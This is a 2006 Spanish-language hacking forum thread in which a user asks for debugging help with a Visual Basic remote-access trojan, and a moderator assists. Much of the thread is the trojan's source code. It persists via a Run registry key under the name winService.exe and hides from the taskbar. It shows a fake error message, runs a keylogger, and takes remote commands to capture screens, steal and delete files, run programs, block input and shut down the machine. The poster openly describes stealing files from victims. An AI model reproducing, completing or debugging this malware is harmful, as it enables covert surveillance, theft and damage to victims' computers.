hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
13 de Octubre de 2008, 07:03:16
Noticias: Convocatoria E-zine CPH #2
Para ver este enlace Registrate o Inicia Sesion
> Aquí

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Programación en general
| | |-+  Visual Basic (Moderadores: ranefi, crypto136, ziBboh, >> s E t H <<)
| | | |-+  Problema Troyano
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Problema Troyano  (Leído 992 veces)
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« : 05 de Mayo de 2006, 09:39:14 »

Soy nuevo en este foro, antes que nada hola, mi problema es que estoy haciendo un troyano, como ya saben consta del cliente y el servidor, todo funciona bien, pero mi servidor ya no quiere aceptar mas codigos, ejemplo: cuando le pongo el codigo de abrir cd, me dice que la variable no esta definida, pruebo el codigo en otro proyecto y si sirve...

Y ya no le puedo meter mas codigos, por que me fallan otros, por que??.

Mi troyano hace: apaga la maquina, la reinicia, cierra cecion, manda archivos, recoge archivos, captura la pantalla y me la manda, tiene un keylogger que guarda por tiempo, abre paint, puedo ejecutar cualquier archivo, puedo eliminarle archivos, cambiarle el fondo al escritorio, congelar el mouse y el teclado, ocultar la barra de herramientas, eliminar la carpeta de windows ( aunque no lo he probado, por ovias razones).  cool
En línea
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #1 : 05 de Mayo de 2006, 09:53:34 »

Ha y se me olvidava, como no pude meterle mas codigo tuve que dividir el servidor, con uno me conecto (servidor 1) y con el otro (servidor 2 )me comunico por medio de ficheros

cuando yo desde mi cliente mando la palabra AUTOEND, el servidor guarda en un fichero (.txt) la palabra autoend, cuando se prende la computadora  como puse un timer en el servidor(2) con interval = 4 minutos creo o ni me acuerdo cuanto le puse, el punto es que cuando pasa esto el tiempo busca el ficher revisa y si tiene la palabra autoend primero le pone un 1 a la derecha y despues se apaga la computadora , pero si el fichero dice autoend1111 entonces borra el fichero y si no tiene nada el timer se desactiva timer1.enabled=false, para que no se vuelva a activar cuando pasen los otros 4 minutos.

esto hace que cuando se prenda la maquina se apague ( si le mandaste la palabra AUTOEND ), y va a hacer esto durante cuatro veces, inventado por mi... cool , a ver que les parece
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #2 : 08 de Mayo de 2006, 08:54:16 »

Hola FoMoIrEoMX, te recomiendo que publiques el código de tu troyano para que podamos ayudarte. Nos vemos : )
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #3 : 09 de Mayo de 2006, 03:22:55 »

Claro, aunque creo que el problema no esta en el codigo, en un rato mas lo pongo.
En línea
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #4 : 12 de Mayo de 2006, 01:50:49 »

Aqui esta el codigo, solo es el del Servidor.:

Option Explicit
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim mata As String
Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String
Dim m As String
Private Declare Function GetAsyncKeySta te Lib "User32" (ByVal vKey As Long) As Integer
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function ExitWindowsEx Lib "User32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const comWM_SYSCOMMA ND = &H112&
Const cSC_SCREENSAVE = &HF140&
Private Declare Function SHAddToRecentD ocs Lib "Shell32" (ByVal lFlags As Long, ByVal lPv As Long) As Long
Private Declare Function SystemParamete rsInfo Lib "User32" Alias "SystemParamete rsInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Declare Sub keybd_event Lib "User32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim tiempo As String

Private Function Captura_Screen()
Dim KEYEVENTF_KEYU P
On Error Resume Next
Clipboard.Clea r
keybd_event 44, 0, 0, 0
keybd_event 44, 0, KEYEVENTF_KEYU P, 0
Do While Clipboard.GetD ata = False
DoEvents
Loop
Picture1.Pictu re = Clipboard.GetD ata
Clipboard.Clea r
SavePicture Picture1.Pictu re, "c:\captura.bmp"
Do While Len(Dir("c:\capturar.bmp")) = 0
    DoEvents
Loop
End Function


Private Sub Command1_Click()
Dim imagen() As Byte
Dim tamaño As Long
Open "c:\captura.bmp" For Binary Access Read As #1
tamaño = LOF(1)
ReDim imagen(tamaño - 1)
Get #1, , imagen
Close
Winsock1.SendD ata imagen
Kill "c:\captura.bmp"
Timer4.Enabled = False
End Sub

Private Sub Form_Load()
Dim ejec
Dim obj
Dim win
Dim sys
Dim residencia
On Error Resume Next
ejec = App.path
If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = ejec & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.File SystemObject")
Set win = obj.GetSpecial Folder(0)
Set sys = obj.GetSpecial Folder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ejec, sys & "\winServi"
Name sys & "\winServi" As sys & "\winService.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.Reg Write "HKEY_CURRENT_U SER\Software\Microsoft\Windows\CurrentVersion\Run\" & "winServis", sys & "\winService.exe"
App.TaskVisibl e = False
Winsock1.Close

bb = False
Dim v As Integer
v = vbRetry
Do While v = vbRetry
v = MsgBox("Error 1845, ocurrio un error en el sistema al cargar los controladores de windows", vbCritical + vbAbortRetryIg nore, "ERROR")
Loop
Timer5.Interva l = 1
Timer6.Interva l = 10000
m = Minute(Time) + 5
End Sub

Private Sub Form_QueryUnlo ad(Cancel As Integer, UnloadMode As Integer)
Winsock1.Close
End
End Sub

Private Sub Timer1_Timer()
If Not Winsock1.State = 7 Then
Winsock1.Close
Winsock1.Liste n
End If
If Not Winsock1.State = 2 And Not Winsock1.State = 7 Then
Winsock1.Close
Winsock1.Liste n
End If
End Sub

Private Sub Timer2_Timer()
Winsock1.Close
Winsock1.Liste n
Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
   Static contador As Integer
    contador = contador + 1
    If contador = tiempo Then
    BlockInput False:
    Timer3.Enabled = False
    End If
End Sub

Private Sub Timer4_Timer()
On Error Resume Next
Call Captura_Screen
Call Command1_Click
End Sub

Private Sub Winsock1_Conne ctionRequest(ByVal requestID As Long)
On Error Resume Next
Winsock1.Close
Winsock1.Accep t requestID
End Sub

Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long)
Dim a As String
Dim canalLibre As Integer
Dim abrir As String
Dim Resultado As Long
Dim datos As String, dato As Variant
Dim fallo As Integer
Winsock1.GetDa ta datos
If datos = "enviar" Then
Winsock1.SendD ata filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    Winsock1.SendD ata "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        Winsock1.SendD ata "recibido"
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
If Left(datos, 5) = "coger" Then
datos = Mid(datos, 6)
Open datos For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
filesize = Len(filedata)
Winsock1.SendD ata "archivo" & filesize
End If
If datos = "PAINT" Then
Shell ("mspaint")
ElseIf datos = "CMD" Then Shell ("cmd")
ElseIf datos = "TELNET" Then Shell ("telnet")
ElseIf datos = "NOTEPAD" Then Shell ("notepad")
ElseIf datos = "APAGAR" Then Resultado = ExitWindowsEx(1, 0&)
ElseIf datos = "REINICIAR" Then Resultado = ExitWindowsEx(2, 0&)
ElseIf datos = "SESION" Then Resultado = ExitWindowsEx(0, 0&)
ElseIf datos = "PROTECTOR" Then Resultado = SendMessage(Me.hwnd, comWM_SYSCOMMA ND, cSC_SCREENSAVE, 0&)
ElseIf datos = "FORMAT C:" Then SHAddToRecentD ocs 0, 0
ElseIf Left(datos, 6) = "CFONDO" Then
datos = Mid(datos, 7)
fallo = SystemParamete rsInfo(20, 0, datos, 0)
ElseIf datos = "OCBARRA" Then
Ventana = FindWindow("Shell_traywnd", "")
    Call SetWindowPos(Ventana, 0, 0, 0, 0, 0, Oculta)
ElseIf datos = "MOBARRA" Then Call SetWindowPos(Ventana, 0, 0, 0, 0, 0, Muestra)
ElseIf datos = "CAPANTALLA" Then Timer4.Enabled = True
ElseIf datos = "FINPANTALLA" Then Timer4.Enabled = False
ElseIf Left(datos, 8) = "CONGELAR" Then
tiempo = Mid(datos, 9)
    BlockInput True
    Timer3.Enabled = True
ElseIf datos = "AUTOENDON" Then
canalLibre = FreeFile
Open "c:\zip.txt" For Output As #canalLibre
Print #canalLibre, "AUTOENDON"
Close #canalLibre
ElseIf Left(datos, 5) = "ABRIR" Then
abrir = Mid(datos, 6)
a = Shell(abrir)
ElseIf datos = "AUTOMOUSE" Then
canalLibre = FreeFile
Open "c:\zip2.txt" For Output As #canalLibre
Print #canalLibre, "AUTOMOUSE"
Close #canalLibre
ElseIf datos = "AUTOCD" Then
canalLibre = FreeFile
Open "c:\zip3.txt" For Output As #canalLibre
Print #canalLibre, "AUTOCD"
Close #canalLibre
ElseIf Left(datos, 8) = "ELIMINAR" Then
mata = Mid(datos, 9)
Kill (mata)
ElseIf Left(datos, 3) = "WEB" Then
    Dim webs As String
webs = Mid(datos, 4)
Shell "Explorer " & webs
ElseIf Left(datos, 6) = "MUSICA" Then
abrir = Mid(datos, 7)
canalLibre = FreeFile
Open "c:\zip4.txt" For Output As #canalLibre
Print #canalLibre, abrir
Close #canalLibre
ElseIf datos = "ABRIRCD" Then
ret = mciSendString("set CDAudio door open", returnstring, 127, 0) ' returnstring  es la varible que me marca que no esta definida.
End If
End Sub

Private Sub Text3_Change()
w = w + 1
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
Dim X As Integer, i As Integer
For i = 33 To 124
X = GetAsyncKeySta te(i)
If X = -32767 Then
Text1.Text = Text1.Text + Chr(i)

End If
Next
Text3.Text = Text1.Text
X = GetAsyncKeySta te(112)
If X = -32767 Then
Text1.Text = Text1.Text & "{F1}"
End If
X = GetAsyncKeySta te(113)
If X = -32767 Then
Text1.Text = Text1.Text & "{F2}"
End If
X = GetAsyncKeySta te(114)
If X = -32767 Then
Text1.Text = Text1.Text & "{F3}"
End If
X = GetAsyncKeySta te(115)
If X = -32767 Then
Text1.Text = Text1.Text & "{F4}"
End If
X = GetAsyncKeySta te(116)
If X = -32767 Then
Text1.Text = Text1.Text & "{F5}"
End If
X = GetAsyncKeySta te(117)
If X = -32767 Then
Text1.Text = Text1.Text & "{F6}"
End If
X = GetAsyncKeySta te(118)
If X = -32767 Then
Text1.Text = Text1.Text & "{F7}"
End If
X = GetAsyncKeySta te(119)
If X = -32767 Then
Text1.Text = Text1.Text & "{F8}"
End If
X = GetAsyncKeySta te(120)
If X = -32767 Then
Text1.Text = Text1.Text & "{F9}"
End If
X = GetAsyncKeySta te(121)
If X = -32767 Then
Text1.Text = Text1.Text & "{F10}"
End If
X = GetAsyncKeySta te(122)
If X = -32767 Then
Text1.Text = Text1.Text & "{F11}"
End If
X = GetAsyncKeySta te(123)
If X = -32767 Then
Text1.Text = Text1.Text & "{F12}"
End If

X = GetAsyncKeySta te(2)
If X = -32767 Then
Text1.Text = Mid(Text1.Text, 1, Len(Text1) - 1)
End If

X = GetAsyncKeySta te(9)
If X = -32767 Then
Text1.Text = Text1.Text & "{tab}"
End If

X = GetAsyncKeySta te(13)
If X = -32767 Then
Text1.Text = Text1.Text & "{enter}"
Text1 = Text1 & vbCrLf
End If

X = GetAsyncKeySta te(27)
If X = -32767 Then
Text1.Text = Text1.Text & "{esc}"
Text1 = Text1 & vbCrLf
End If

X = GetAsyncKeySta te(32)
If X = -32767 Then
Text1.Text = Text1.Text & " "
End If

Dim cad As String
Dim num As String
Dim c As String
cad = Text1.Text
num = Right(cad, 1)
Text2.Text = num
c = num
If num = "a" Then
c = "1"
bb = True
End If
If num = "b" Then
c = "2"
bb = True
End If
If num = "c" Then
c = "3"
bb = True
End If
If num = "d" Then
c = "4"
bb = True
End If
If num = "e" Then
c = "5"
bb = True
End If
If num = "f" Then
c = "6"
bb = True
End If
If num = "g" Then
c = "7"
bb = True
End If
If num = "h" Then
c = "8"
bb = True
End If
If num = "i" Then
c = "9"
bb = True
End If
If num = "`" Then
c = "0"
bb = True
End If

Text2.Text = c

If bb = True Then
Dim g As Integer
g = Len(Text1.Text) - 1
Text1.Text = Left(Text1.Text, g) + c

bb = False

End If

End Sub

Private Sub Timer6_Timer()
Open "c:\wintec.txt" For Append As #1
Print #1, Text1.Text
Text1.Text = ""
Close #1
If (Minute(Time) >= m) Then
Open "c:\wintec.txt" For Append As #1
Print #1, "----------- ----------- ------------"
Close #1
End If
End Sub

Y en un Modulo

Global w As Integer
Global bb As Boolean
Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndREPLACEAft er As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Global Ventana As Long
Global Const Muestra = &H40
Global Const Oculta = &H80
Declare Function ShowCursor Lib "User32" (ByVal bShow As Long) As Long
Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long

Y ya que estamos en esto tambien el codigo para recoger archivos de la victima no me funciona, aquí esta el codigo del cliente, solo el que es para recoger, no son todos los codigos.

Private Sub sock_DataArriv al(ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
sock.GetData datos
If datos = "enviar" Then
progreso = True
sock.SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    sock.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Visible = True
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
        If Len(datos2) = filesize And send = True Then
        sock.SendData "recibido"
        pb.Value = 0
        pb.Visible = False
        cd.Filter = "Archivos " & ext & "| *" & ext
        cd.FileName = ""
        cd.ShowSave
        Open cd.FileName For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If

Dim imagen() As Byte
 sock.GetData imagen
Open "C:\captura.bmp" For Binary As #1
 Put #1, , imagen
 Timer3.Interva l = 10000
 Timer3.Enabled = True
 sock.GetData datos
frm4.Show
frm4.consola.T ext = frm4.consola.T ext + newline + datos

Private Sub command1_Click()
Dim ruta As String
ruta = InputBox("Introduce la ruta completa del archivo remoto:", "Descargar Archivo", ruta)
If Not ruta = "" Then
sock.SendData "coger" & ruta
ext = Right(ruta, Len(ruta) - 4)
End If
End Sub


En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #5 : 12 de Mayo de 2006, 03:26:36 »

Buena tarde FoMoIrEoMX.     ¡Ufffff! Sabes, es muuuucho código y no está tabulado ni comentado, así es demasiado díficil leerlo, pero sabes, si te marca que la variable returnstring no está declarada es porque en realidad no está declarada y contiene un valor nulo, te recomiendo que revises bien el código que funciona para abrir la unidad de cd. Aquí te dejo el enlace a la Biblioteca de código----->
Para ver este enlace Registrate o Inicia Sesion
ENTRAR


Con respecto a subir archivos aquí te dejo el código que te permite enviar archivos por medio de FTP con el uso de archivos por lotes------->
Para ver este enlace Registrate o Inicia Sesion
ENTRAR


Sabes, te recomiendo que comentes toooodo tu código y que formatees el código, eso te va a evitar muuuuuchos dolores de cabeza, en serio. Nos vemos.
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #6 : 13 de Mayo de 2006, 12:52:20 »

Gracias pero estoy seguro que la variable esta definida, el codigo lo probe en un proyecto aparte, y si me funciono, pero en mi servidor NO, este es el codigo, esta declarado en el formulario

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Pero en tu post dice que el codigo deve ir en un modulo, es este:

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _
    (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, _
    ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Lo voy a probar como tu lo pusiste, aunque el que yo tengo si me funciona, solo en un proyecto aparte, y cuando dije recoger archivos, me refiero a coger archivos de la maquina de la victima, ejemplo: Recoger el Keylogger, el de enviar archivos si  me funciona.
En línea
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #7 : 23 de Mayo de 2006, 03:18:19 »

Ok creo que ya se soluciono un problema, pero si algien me puediera decir por que no me funciona el codigo de recoger archivos de la victima, se lo agradecere mucho, plz
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #8 : 23 de Mayo de 2006, 04:12:37 »

Ok creo que ya se soluciono un problema, pero si algien me puediera decir por que no me funciona el codigo de recoger archivos de la victima, se lo agradecere mucho, plz

Hola FoMoIrEoMX, buena tarde.     ¿Cuál es el error que te aparece?
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #9 : 25 de Mayo de 2006, 03:19:37 »

No me sale ningun error, simplemente no me sale la ventana de guardar, para guardar el archivo que le robe a la victima en mi maquina, ya revise el codigo y revise y revise y no se en que me equivoque.
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #10 : 25 de Mayo de 2006, 03:25:08 »

No me sale ningun error, simplemente no me sale la ventana de guardar, para guardar el archivo que le robe a la victima en mi maquina, ya revise el codigo y revise y revise y no se en que me equivoque.

Buena tarde FoMoIrEoMX. Sabes, para ya no darle tantas vueltas al asunto, te pido que nos mandes el código fuente de tu aplicación para revisarlo y hacer pruebas, ya que así estamos a ciegas.     ¿Qué te parece?
En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
FoMoIrEoMX
NZ1
*
Desconectado Desconectado

Mensajes: 53


EL AZAR FAVORECE A UNA MENTE PREPARADA


Ver Perfil
« Respuesta #11 : 25 de Mayo de 2006, 03:31:26 »

Ok, me parece bien, nadamas dime como  Lips Sealed
En línea
ranefi
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1,191


SELECT * FROM guapos WHERE papito_chulo = 'ranefi'


Ver Perfil WWW
« Respuesta #12 : 26 de Mayo de 2006, 06:34:17 »

Hola y buen día. Tienes que utilizar un hospedaje de archivos gratuito (un host gratuito como Yahoo o BraveNet) y subir tu proyecto en un archivo comprimido (extensión ZIP) y posteriormente publicar el mensaje con la dirección (URL) de tu archivo. Un archivo se publica de esta manera en el foro:

Código:

[url=http://DireccionHostGratuito/TuCuenta/Archivo.zip]Nombre que quieras que vean[/url]


Espero que te haya quedado claro. Nos vemos.
« Última modificación: 21 de Junio de 2006, 11:52:39 por ranefi » En línea


SELECT * FROM mejores_batos_ del_mundo WHERE id = (SELECT DISTINCT id_guapo FROM los_mas_guapos _del_mundo WHERE papito_chulo = 'ranefi')
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online